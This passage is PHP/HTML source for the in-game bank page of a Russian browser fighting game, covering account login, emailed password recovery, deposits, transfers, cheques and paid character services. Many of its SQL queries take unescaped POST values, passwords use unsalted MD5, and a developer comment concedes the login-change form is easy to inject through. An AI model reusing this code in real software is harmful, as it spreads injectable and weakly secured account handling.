<span style="color: #AF0000; font-size: 16px; font-weight: bold;">ет <b><?=$_SESSION['bankid']?></span>
</td>
<td align=right>
<a class="exitbtn" href="?exit=1">Выйти из банка</a>
</td>
</tr>
</table>
<?
if($_GET['exit']) $_SESSION['bankid'] = null;
if($_POST['enter'] && $_POST['pass']) {
$data = mysql_query("SELECT * FROM `bank` WHERE `owner` = '".$user['id']."' AND `id` = '".(int)$_POST['id']."' AND `pass` = '".md5($_POST['pass'])."' LIMIT 1");
$data = mysql_fetch_array($data);
if($data) {
$_SESSION['bankid'] = $_POST['id'];
err('Удачный вход.');
} else {
err('Ошибка входа.');
}
}
if($_POST['resendmail']){
$newpass=md5(md5(math.rand(-2000000,2000000).$user['login']));
$newpass=substr($newpass,0,10);
$lasttime=mktime(0, 0, 0, date("m") , date("d")+1, date("Y"));
$ipclient=getenv("HTTP_X_FORWARDED_FOR");
if (mysql_query("insert into confirmpasswd(`login`,`passwd`,`date`,`ip`,`active`) values('bbb".$_POST['id']."bbb','".$newpass."','".$lasttime."','".$ipclient."',1);")) {
$headers = "Mime-Version: 1.1 \r\n";
$headers .= "Date: ".date("r")." \r\n";
$headers .= "Content-type: text/html; charset=utf-8 \r\n";
$headers .= "From: Онлайн игра Бойцовский Клуб Возрождение <support@capitalcity.old-dark.ru>\r\n";
$headers = trim($headers);
$headers = stripslashes($headers);
$aa='<html><head><title>Востановление пароля</title>
</head><body>
Добрый день '.$user['realname'].'.<br>
Вами было запрошено востановление пароля для счета '.$_POST['id'].' c IP адреса - '.$ipclient.', если это были не Вы, просто удалите это письмо.<br>
<br>
------------------------------------------------------------------<br>
Ваш счета | '.$_POST['id'].'<br>
Новый пароль | '.$newpass.'<br>
------------------------------------------------------------------<br>
<br><br>
<h3>Для подтверждения нового пароля пройдите по ссылке ниже.</h3><br>
<a href="http://capitalcity.old-dark.ru/confpassbank.php?newpass='.$newpass.'&login='.$_POST['id'].'&flag=1&timev='.$lasttime.'">Востановление пароля</a>
<br>
<font color="blue">Если вы не восстановите пароль до <b>'.date("d-M-Y", $lasttime) .' 00:00</b>, ссылка будет неактивной.</font>
<br>
Отвечать на данное письмо не нужно.
</body>
</html>';
mail($user['email'],"Востановление банковского счета, для пользователя - ".$user['login'],$aa,$headers);
echo "<center><font color='blue' size='14'><h3>Пароль отправлен Вам на почту.</h3></font></center>";
die();
}
else {
echo "<center><h3>Сегодня пароль уже высылался. <br>Проверьте почту</h3></center>";
die();
}
}
if ($_POST['repasswd']) {
?>
<b>Для востановления пароля необходимо:<br><ul><li>1) Выбрать счет. </li><li>2) Нажать кнопочку восстановить.</li></ul>Вам будет выслано письмо на email, указанный при регистрации, с новым паролем.</ul></b><br><br>
<form method="post">Выберите счет: <?php inschet($user['id']); ?> <input type="submit" name="resendmail" value="Восстановить"></form>
<?
}
else
if(!$_SESSION['bankid']) {
if($_POST['reg'] && $_POST['rpass'] && $_POST['rpass2']) {
if ($_POST['rpass'] == $_POST['rpass2']) {
if ($user['money'] >= 0.5) {
if(mysql_query("INSERT INTO `bank` (`pass`,`owner`) values ('".md5($_POST['rpass2'])."','".$user['id']."');")) {
$sh_num=mysql_insert_id();
err('Ваш номер счета: '.mysql_insert_id().', запишите.');
mysql_query("UPDATE users SET `money` = (`money`-0.5) WHERE id='".$user['id']."' LIMIT 1;");
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." открыл счет №".$sh_num." в банке. ',1,'".time()."');");
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." заплатил за открытие счета в банке 0.5 кр. ',1,'".time()."');");
}
else {
err('Техническая ошибка');
}
} else {
err('Недостаточно денег');
}
} else {
err('Не совпадают пароли');
}
}
?>
<table width="1130" border="0" cellspacing="0" cellpadding="0" align="center"">
<tbody><tr>
<td colspan="3" height="30">
</td>
</tr>
<tr>
<td width="200">&nbsp;</td>
<td height="523" valign="top">
<table width="100%" border="0">
<tbody><tr valign="top" align="left">
<td><br>
<form method="post">
<h2>Открыть новый счет</h2>
<table border="0">
<tbody><tr>
<td colspan="2">Стоимость <b>0.5</b> кр.</td>
</tr>
<tr>
<td>Пароль</td>
<td><input type="password" name="rpass"></td>
</tr>
<tr>
<td>Еще раз</td>
<td><input type="password" name="rpass2"></td>
</tr>
<tr>
<td colspan="2"><input type="submit" name="reg" value="Открыть счет"></td>
</tr>
</tbody></table>
</form>
</td>
</tr>
<tr valign="top" align="left">
<td>
<form method="post" action="bank.php">
<h2>Войти в счет </h2>
<table border="0">
<tbody><tr>
<td>
<?
inschet($user['id']);
?> <br>Пароль <input type="password" name="pass" size="21">
<br>
<input type="hidden" name="enter" value="1">
</td>
</tr>
<tr>
<td align="center">
<input type="submit" name="enter" value="Войти">
</td>
</tr>
</tbody></table>
</form>
</td>
</tr>
<tr valign="top" align="left">
<td>
<form method="post">
<h2>Восстановить пароль</h2>
<table border="0">
<tbody><tr>
<td>
Выберите счет:<br>
<?php inschet($user['id']); ?><br>
</td>
</tr>
<tr>
<td align="center">
<input type="submit" name="resendmail" value="Восстановить">
</td>
</tr>
<tr><td>
<small>Вам будет выслано письмо на email, <br>указанный при регистрации, <br>с новым паролем.</small>
</td>
</tr>
</tbody></table>
</form></td>
</tr>
</tbody></table>
</td>
<td width="50" height="30" valign="top"><br><INPUT TYPE=button value="Обновить" onClick="location.href='main.php';"></td>
<td width="230" valign="top"><br><input type="button" value="Вернуться" onclick="returned2('strah=1&amp;');"></td>
</tr>
</tbody></table>
<?
} else {
if($_GET['fail']) {
err('Ошибка пополнения баланса.');
die();
}
if($_GET['suk']) {
err('Баланс удачно пополнен.');
die();
}
if($_POST['in'] && $_POST['ik']) {
$_POST['ik'] = round($_POST['ik'], 2);
if (is_numeric($_POST['ik']) && ($_POST['ik']>0) && ($_POST['ik'] <= $user['money'])) {
$user['money'] -= $_POST['ik'];
if (mysql_query("UPDATE `users` SET `money`=`money`-'".$_POST['ik']."' WHERE `id`=".$user['id']." LIMIT 1;")) {
$mywarn = "Деньги удачно положены на счет";
mysql_query("UPDATE `bank` SET `cr`=`cr`+'".$_POST['ik']."' WHERE `id`=".$_SESSION['bankid']." LIMIT 1;");
mysql_query("INSERT INTO `delo`(`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Персонаж ".$user['login']." положил на свой счет №".$_SESSION['bankid']." ".$_POST['ik']." кр. ',1,'".time()."');");
}
else {
$mywarn="Произошла ошибка!";
}
}
else {
$mywarn="У вас недостаточно денег для выполнения операции";
}
$_POST['in']=0;
}
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`=".$_SESSION['bankid'].";"));
if($_POST['out'] && $_POST['ok']) {
$_POST['ok'] = round($_POST['ok'],2);
if (is_numeric($_POST['ok']) && ($_POST['ok']>0) && ($_POST['ok'] <= $bank['cr'])) {
$user['money'] += $_POST['ok'];
if (mysql_query("UPDATE `users` SET `money`=`money`+'".$_POST['ok']."' WHERE `id`='".$user['id']."' LIMIT 1;")) {
$mywarn="Деньги удачно сняты со счета";
mysql_query("UPDATE `bank` SET `cr`=`cr`-'".$_POST['ok']."' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Персонаж ".$user['login']." снял со своего счета №".$_SESSION['bankid']." ".$_POST['ok']." кр.',1,'".time()."');");
}
else {
$mywarn="Произошла ошибка!";
}
}
else {
$mywarn="У вас недостаточно денег на счету для выполнения операции";
}
$_POST['out']=0;
}
if($_POST['sales'] && $_POST['count_ekr']) {
if(isset($bank['id'])) {
$cnt = round($_POST['count_ekr'], 2);
if($cnt <= 0.4) {
err('Минимальная сумма: 0.5 екр');
} elseif($bank['ekr'] < $cnt) {
err('Недостаточно средств ...');
} elseif($user['align'] == 4) {
err('Персонажи с заклятием хаоса, не могут выписывать чеки ...');
} else {
bank_check(1123, 'shop', null, null, 0, $user['id'], 'Банковский чек на '.$cnt.' еврокредитов', $cnt);
$bank['ekr'] -= $cnt;
mysql_query('UPDATE `bank` SET `ekr` = "'.$bank['ekr'].'" WHERE `id` = "'.$bank['id'].'" LIMIT 1');
err('Чек на сумму : '.$cnt.' екр., появится у Вас в инвентаре ...');
}
} else {
err('Банковский счёт, не найден ...');
}
}
if($_POST['new_login']) {
if($bank['ekr'] >= $cost_login) {
$login = $_POST['change_login'];
$usid = mysql_fetch_array(mysql_query('SELECT `id`, `login` FROM `users` WHERE `login` = "'.mysql_real_escape_string($login).'" LIMIT 1'));
$fail = 0;
if(strlen($login) < 2) {
$error .= '<li>Логин должен содержать не менее 2 символов</li><br />';
$fail = 1;
}
if(strlen($login) > 20) {
$error .= '<li>Логин должен содержать не более 20 символов</li><br />';
$fail = 1;
}
if($usid['id'] != null) {
$error .= '<li>Пользователь '.$login.' уже зарегистрирован</li><br />';
$fail = 1;
}
$sr = '_-йцукенгшщзхъфывапролджэячсмитьбюё1234567890';
$ru = 'УЕЫАОЭЯИЮЁЙЦКНГШЩЗХЪФВПРЛДЖЧСМТЬБ';
$en = 'EYUIOAQWRTPSDFGHJKLZXCVBNM';
$is_rus = 0;
$is_eng = 0;
for($i = 0; $i < strlen($ru); $i++) {
if(strpos(strtoupper($login), $ru[$i]) > -1) {
$is_rus++;
}
}
for($i = 0; $i < strlen($en); $i++) {
if(strpos(strtoupper($login), $en[$i]) > -1) {
$is_eng++;
}
}
if(($is_rus > 0) && ($is_eng > 0)) {
$error .= '<li>Имя может состоять только из букв русского алфавита или только из букв англиского алфавита</li><br />';
$fail = 1;
} else {
if($is_eng) {
$s = $en;
$sogl = substr($en, 6);
} else {
$s = $ru;
$sogl = substr($ru, 10);
}
$ps = -1;
$p = 0;
$blacklist = "ЬЪ!@#$%^&*()";
$blackwordlist = "хуй,пизд,сук,бля";
$words = 0;
$splits = '-_ ';
for($i = 0; $i < strlen($login); $i++) {
if(strpos($s, $login[$i]) > -1) {
if(!$p && $i == $ps + 1) {
$p = 1;
$words++;
$lwords[$words] .= $login[$i];
} elseif($p == 2 && $i > $ps + 1) {
$error = '<li>Имя не может содержать заглавную букву после обычной</li><br />';
$fail = 1;
break;
}
} elseif(strpos(strtolower($s), $login[$i]) > -1) {
if(!$p && $i == $ps + 1) {
$words++;
}
$lwords[$words] .= $login[$i];
$p = 2;
} elseif(strpos($splits, $login[$i]) > -1) {
if($ps == $i - 1) {
$error .= '<li>Не может быть два и более разделителя подряд, также имя не может с них начинаться</li><br />';
$fail = 1;
break;
}
$ps = $i;
$p = 0;
} elseif(strpos($sr, $login[$i])) {
} else {
$error .= '<li>Логин содержит запрещенные символы</li><br />';
$fail = 1;
break;
}
}
unset($blacklist, $p, $ps, $rep, $repsogl, $s, $sogl, $is_eng, $is_rus);
$bwl = explode(",", strtoupper($blackwordlist));
for($i = 0; $i < count($bwl); $i++) {
if(strpos(strtoupper($login), $bwl[$i]) > -1) {
$error .= '<li>Логин содержит запрещенные слова</li><br />';
$fail = 1;
break;
}
}
if($words > 3) {
$error .= '<li>Логин не должен содержать более трех слов</li><br />';
$fail = 1;
}
unset($blackwordslist, $bwl);
}
if($fail == 0) {
$user['login'] = mysql_real_escape_string($login); $bank['ekr'] -= $cost_login;
mysql_query('UPDATE `users` SET `login` = "'.$user['login'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1');
mysql_query('UPDATE `bank` SET `ekr` = "'.$bank['ekr'].'" WHERE `id` = "'.$bank['id'].'" LIMIT 1');
err('Ваш новый логин "'.$user['login'].'". Поздравляем!');
} else {
err($error);
}
} else {
err('Недостаточно средств ...');
}
}
if($_POST['saled'] && $_POST['coste']) {
$item = mysql_fetch_array(mysql_query('SELECT `id`, `name`, `bcost` FROM `inventory` WHERE `owner` = "'.$user['id'].'" AND `id` = "'.mysql_real_escape_string($_POST['coste']).'" LIMIT 1'));
if(isset($item['id'])) {
if($item['bcost'] > 0) {
mysql_query('DELETE FROM `inventory` WHERE `owner` = "'.$user['id'].'" AND `id` = "'.$item['id'].'" LIMIT 1');
$bank['ekr'] += $item['bcost'];
mysql_query('UPDATE `bank` SET `ekr` = "'.$bank['ekr'].'" WHERE `id` = "'.$bank['id'].'" LIMIT 1');
err($item['name'].', успешно обналичен ...');
} else {
err('Это не чек ...');
}
} else {
err('Чек, не найден ...');
}
}
if($_POST['change'] && $_POST['ok']) {
$_POST['ok'] = round($_POST['ok'],2);
if (is_numeric($_POST['ok']) && ($_POST['ok']>0) && ($_POST['ok'] <= $bank['ekr'])) {
$bank['cr'] += $_POST['ok'] * 100;
$bank['ekr'] -= $_POST['ok'];
$add_money=$_POST['ok'] * 100;
if (mysql_query("UPDATE `bank` SET `cr`=`cr`+'$add_money' WHERE `id`='".$bank['id']."' LIMIT 1;")) {
$mywarn="Обмен произведен успешно";
mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'".$_POST['ok']."' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Персонаж ".$user['login']." обменял ".$_POST['ok']." екр. на ".$add_money." кр. на счету №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
}
else {
$mywarn="Произошла ошибка!";
}
}
else {
$mywarn="У вас недостаточно денег на валютном счету для выполнения операции";
}
$_POST['change']=0;
}
if($_POST['changeback'] && $_POST['ok']) {
$_POST['ok'] = round($_POST['ok'],2);
if (is_numeric($_POST['ok']) && ($_POST['ok']>0) && ($_POST['ok'] <= $bank['cr'])) {
$bank['cr'] -= $_POST['ok'];
$bank['ekr'] += $_POST['ok'] / 500;
$add_ekr=$_POST['ok'] / 500;
if (mysql_query("UPDATE `bank` SET `cr`=`cr`-'".$_POST['ok']."' WHERE `id`='".$bank['id']."' LIMIT 1;")) {
$mywarn="Обмен произведен успешно";
mysql_query("UPDATE `bank` SET `ekr`=`ekr`+'$add_ekr' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Персонаж ".$user['login']." обменял ".$_POST['ok']." кр. на ".$add_ekr." екр. на счету №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
}
else {
$mywarn="Произошла ошибка!";
}
}
else {
$mywarn="У вас недостаточно денег для выполнения операции";
}
$_POST['changeback']=0;
}
if($_GET['dropm']) {
if (2 <= $bank['ekr']) {
undressall($user['id']);
if (mysql_query("UPDATE `users` SET `master`=noj+mec+topor+dubina+mfire+mwater+mair+mearth+mlight+mgray+mdark+master,noj=0,mec=0,topor=0,dubina=0,mfire=0,mwater=0,mair=0,mearth=0,mlight=0,mgray=0,mdark=0 WHERE `id`='".$user['id']."' LIMIT 1;")) {
mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'2' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." перераспределил умения, заплатив 2 екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
$mywarn="Все прошло удачно. Вы можете перераспределить умения.";
}
else {
$mywarn="Произошла ошибка!";
}
}
else {
$mywarn="У вас недостаточно денег на валютном счету для выполнения операции";
}
$_GET['dropm']=0;
}
if($_GET['dropst']) {
$travma = mysql_fetch_array(mysql_query("SELECT * FROM `effects` WHERE `owner`='".$user['id']."' and (`type`=11 or `type`=12 or `type`=13 or `type`=14) order by `type` desc limit 1;"));
if ($travma['type']) {
$mywarn = "Невозможно сбрасывать статы находясь в травме!";
} else {
undressall($user['id']);
$user1 = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id`='".$user['id']."' LIMIT 1;"));
$svstats=$user1['sila'] + $user1['lovk'] + $user1['inta'] + $user1['vinos'] + $user1['intel'] + $user1['mudra'] - 12 - $user1['level'];
if ($svstats <= $bank['ekr']) {
$exps = array( "20" => array (15),
"45" => array (16),
"75" => array (17),
"110" => array (18),
"160" => array (21),
"215" => array (22),
"280" => array (23),
"350" => array (24),
"410" => array (25),
"530" => array (28),
"670" => array (29),
"830" => array (30),
"950" => array (31),
"1100" => array (32),
"1300" => array (33),
"1450" => array (36),
"1650" => array (37),
"1850" => array (38),
"2050" => array (39),
"2200" => array (40),
"2500" => array (41),
"2900" => array (46),
"3350" => array (47),
"3800" => array (48),
"4200" => array (49),
"4600" => array (50),
"5000" => array (51),
"6000" => array (54),
"7000" => array (55),
"8000" => array (56),
"9000" => array (57),
"10000" => array (58),
"11000" => array (59),
"12000" => array (60),
"12500" => array (61),
"14000" => array (64),
"15500" => array (65),
"17000" => array (66),
"19000" => array (67),
"21000" => array (68),
"23000" => array (69),
"26000" => array (70),
"30000" => array (71),
"60000" => array (76),
"75000" => array (77),
"150000" => array (78),
"175000" => array (79),
"200000" => array (80),
"225000" => array (81),
"250000" => array (82),
"260000" => array (83),
"280000" => array (84),
"300000" => array (85),
"1500000" => array (86),
"1750000" => array (87),
"2000000" => array (88),
"2175000" => array (89),
"2300000" => array (90),
"2400000" => array (91),
"2500000" => array (92),
"2600000" => array (93),
"2800000" => array (94),
"3000000" => array (95),
"6000000" => array (96),
"6500000" => array (97),
"7500000" => array (98),
"8500000" => array (99),
"9000000" => array (100),
"9250000" => array (101),
"9500000" => array (102),
"9750000" => array (103),
"9900000" => array (104),
"10000000" => array (105),
"13000000" => array (106),
"14000000" => array (107),
"15000000" => array (108),
"16000000" => array (109),
"17000000" => array (110),
"17500000" => array (111),
"18000000" => array (112),
"19000000" => array (113),
"19500000" => array (114) );
echo "<pre>";
$ss = mysql_query("select `id`,`nextup`,`level` FROM `users` WHERE `level` > 0 AND `level` < 8 AND id='".$user['id']."';");
$errdo=0;
while($ssd=mysql_fetch_array($ss)) {
undressall($ssd['id']);
if (!mysql_query( "UPDATE `users` SET `sila`='3',`lovk`='3',`inta`='3',`vinos`='".(3+$ssd['level'])."',`intel`='0',`fkrit`='0',`fakrit`='0',`fuvorot`='0',`fauvorot`='0',`stats`='".($exps[$ssd['nextup']][0]-12)."' WHERE `id`='".$ssd['id']."';")) $errdo=1;
}
if ($errdo==0) {
mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'".$svstats."' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." перераспределил статы, заплатив ".$svstats." екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
$mywarn="Все прошло удачно. Вы можете перераспределить статы.";
}
else {
$mywarn="Произошла ошибка! Обратитесь к палладинам.";
}
$vinos=$user1['level']+3;
$hp=$vinos*6;
if (mysql_query("UPDATE `users` SET `stats`='".$svstats."',lovk=3,sila=3,inta=3,vinos='".$vinos."',hp='".$hp."',maxhp='".$hp."',intel=0,mudra=0 WHERE `id`='".$user['id']."' LIMIT 1;")) {
mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'".$svstats."' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." перераспределил статы, заплатив ".$svstats." екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
$mywarn="Все прошло удачно. Вы можете перераспределить статы.";
}
else {
$mywarn="Произошла ошибка!";
}
}
else {
$mywarn="У вас недостаточно денег на валютном счету для выполнения операции";
}
}
$_GET['dropst']=0;
}
if($_GET['dropsh']) {
if (1 <= $bank['ekr']) {
if (mysql_query("UPDATE `users` SET `shadow`='0.gif' WHERE `id`='".$user['id']."' LIMIT 1;")) {
mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'1' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." сменил образ, заплатив 1 екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
$mywarn="Все прошло удачно. Вы можете выбрать новый образ персонажа.";
}
else {
$mywarn="Произошла ошибка!";
}
}
else {
$mywarn="У вас недостаточно денег на валютном счету для выполнения операции";
}
$_GET['dropsh']=0;
}
if($_GET['unset_align']) {
$var = mysql_fetch_array(mysql_query('SELECT `name` FROM `aligns` WHERE `align` = "'.$user['align'].'" LIMIT 1'));
if($bank['ekr'] >= 5) {
if($user['align'] > 0) {
if($user['klan'] == '') {
if($user['align'] != 4 && $user['align'] != 2.99) {
$bank['ekr'] -= 5;
mysql_query('UPDATE `users` SET `align` = "0" WHERE `id` = "'.$user['id'].'" LIMIT 1');
mysql_query('UPDATE `bank` SET `ekr` = "'.$bank['ekr'].'" WHERE `id` = "'.$bank['id'].'" LIMIT 1');
mysql_query('INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ("0", "'.$user['id'].'", "'.$user['login'].' отказался от склонности ('.$var['name'].') за 5 екр со счёта #'.$bank['id'].'", "1", "'.time().'")');
$mywarn = "Все прошло удачно. Вы отказались от склонности ...";
} else {
$mywarn = "Данную склонность нельзя снять ...";
}
} else {
$mywarn = "Нельзя отказаться от склонности находясь в клане ...";
}
} else {
$mywarn = "У Вас нет склонности ...";
}
} else {
$mywarn = "Недостаточно средств ...";
}
$_GET['unset_align'] = 0;
}
if($_GET['setskltemn']) {
if (50 <= $bank['ekr']) {
if (mysql_query("UPDATE `users` SET `align`='3' WHERE `id`='".$user['id']."' LIMIT 1;")) {
$user['align'] = 3;
mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'50' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." купил темную склонность за 50 екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id` = ".$_SESSION['bankid'].";"));
$mywarn="Склонность успешно присвоена.";
}
else {
$mywarn="Произошла ошибка!";
}
}
else {
$mywarn="У вас недостаточно денег на валютном счету для выполнения операции";
}
$_GET['setskltemn']=0;
}
if($_GET['setsklneytr']) {
if (50 <= $bank['ekr']) {
if (mysql_query("UPDATE `users` SET `align`='2' WHERE `id`='".$user['id']."' LIMIT 1;")) {
$user['align'] = 2;
mysql_query("UPDATE `bank` SET `ekr`=`ekr`-'50' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;");
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','".$user['login']." купил нейтральную склонность за 50 екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
$mywarn="Склонность успешно присвоена.";
}
else {
$mywarn="Произошла ошибка!";
}
}
else {
$mywarn="У вас недостаточно денег на валютном счету для выполнения операции";
}
$_GET['setsklneytr']=0;
}
if($_GET['setsvet']) {
if(50 <= $bank['ekr']) {
if(mysql_query("UPDATE `users` SET `align` = '6' WHERE `id` = '".$user['id']."' LIMIT 1")) {
$user['align'] = 6;
mysql_query("UPDATE `bank` SET `ekr` = `ekr`-'50' WHERE `id` = '".$_SESSION['bankid']."' LIMIT 1");
mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '".$_SESSION['uid']."', '".$user['login']." купил светлую склонность за 50 екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id` = ".$_SESSION['bankid'].";"));
$mywarn = "Склонность успешно присвоена.";
} else {
$mywarn = "Произошла ошибка!";
}
} else {
$mywarn = "У вас недостаточно денег на валютном счету для выполнения операции";
}
$_GET['setsvet'] = 0;
}
if($_POST['wu'] && $_POST['sum'] && $_POST['number']) {
if ($user['align'] == 4) {
$mywarn="Хаосникам переводы запрещены!";
}
else {
$bank2 = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_POST['number']."';"));
$to = mysql_fetch_array(mysql_query("SELECT login FROM `users` WHERE `id`='".$bank2['owner']."';"));
if($bank2[0]) {
$_POST['sum'] = round($_POST['sum'],2);
if (is_numeric($_POST['sum']) && ($_POST['sum']>0)) {
$nalog=round($_POST['sum']*0.03);
if ($nalog < 1) {$nalog=1; }
$new_sum=$_POST['sum']+$nalog;
if ($new_sum <= $bank['cr']) {
if (mysql_query("UPDATE `bank` SET `cr`=`cr`-'".$new_sum."' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;")) {
mysql_query("UPDATE `bank` SET `cr`=`cr`+'".$_POST['sum']."' WHERE `id`='".$_POST['number']."' LIMIT 1;");
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Персонаж ".$user['login']." перевел со своего банковского счета №".$_SESSION['bankid']." на счет №".$_POST['number']." к персонажу ".$to['login']." ".$_POST['sum']." кр. Дополнительно снято ".$nalog." кр. за услуги банка ',1,'".time()."');");
mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$bank2['owner']."','Персонаж ".$user['login']." перевел со своего банковского счета №".$_SESSION['bankid']." на счет №".$_POST['number']." к персонажу ".$to['login']." ".$_POST['sum']." кр. Дополнительно снято ".$nalog." кр. за услуги банка ',1,'".time()."');");
$sum=$_POST['sum'];
$schet=$_POST['number'];
$mywarn="$sum кр. успешно переведены на счет № $schet";
}
else {
$mywarn="Произошла ошибка!";
}
}
else {
$mywarn="У вас недостаточно денег на счету для выполнения операции";
}
}
else {
$mywarn="У вас недостаточно денег на счету для выполнения операции";
}
}
else {
$mywarn="Данные о счете получателя не найдены.";
}
}
$_POST['wu']=0;
}
print "<center><font color=red><b>&nbsp;$mywarn</b></font></center>";
?>
<div class="appblock">
<legend>Денежные средства</legend>
Кредитов на руках: <b><?=$user['money']?></b> кр.<br>
Кредитов на счету: <b><?=$bank['cr']?></b> кр.<br>
Еврокредитов на счету: <b><?=$bank['ekr']?></b> екр.<br>
<table width=100%>
<tr><td width="75"><input type=text size=10 name=ik></td><td><input type=submit name=in value="Положить кредиты на счёт"></td></tr>
<tr><td><input type=text size=10 name=ok></td><td><input type=submit name=out value="Снять кредиты со счёта"></td></tr>
</table>
</div>
<div class="appblock">
<legend>Выписать чек</legend>
Услуга "чек на предъявителя". Вы выписываете екровый чек, который затем сможет обналичить любой персонаж.<br>
<form method="POST">
Сумма (екр): <input type="text" size="4" name="count_ekr" /> <input type="submit" value="Выписать" name="sales" />
</form>
</div>
<div class="appblock">
<legend>Обналичить чек</legend>
В нашем банке мы принимаем к погашению екровые чеки на предъявителя.
<form method="POST">
<?=bank_show();?>
</form>
</div>
<div class="appblock">
<legend>Перевод кредитов</legend>
<form method="POST">
<table width=100%>
<tr><td width="75"><input type=text size=10 name=sum></td><td>Количество кредитов</td></tr>
<tr><td><input type=text size=10 name=number></td><td>Cчёт получателя</td></tr>
</table>
<input type=submit name=wu value="Перевести кредиты"></td>
</form>
Комиссия составит 3% от переводимой суммы, но не менее 1 кр.
</div>
<? if (!empty($user['admin'])): ?>
<div class="appblock" style="background:#FFAAAA;">
<legend>Обменять екр. на кр.</legend>
Курс обмена: 1 екр. = 100 кр.<br>
<form method="POST">
Сумма екр. для обмена <input type=text name=ok> <input type=submit name=change value="обменять">
</form>
</div>
<div class="appblock" style="background:#FFAAAA;">
<legend>Обменять кр. на екр.</legend>
Курс обмена: 500 кр. = 1 екр.<br>
<form method="POST">
Сумма кр. для обмена <input type=text name=ok> <input type=submit name=changeback style="width:60px;" value="обменять">
</form>
</div>
<div class="appblock" style="background:#FFAAAA;">
<legend>Смена логина</legend>
Стоимость услуги: <b><?=$cost_login;?></b> екр.<br>
<form method="POST">
Новый логин : <input type="text" name="change_login" autocomplete="off" /> <input type="submit" value="Сменить" name="new_login" />
</form>
<small>Я предлагаю отказаться от этой услуги и если что-то и менять, то по старинке. Загнать отсюда что-то левое в базу раз плюнуть.</small>
</div>
<div class="appblock" style="background:#FFAAAA;">
<legend>Дополнительные услуги</legend>
<small>
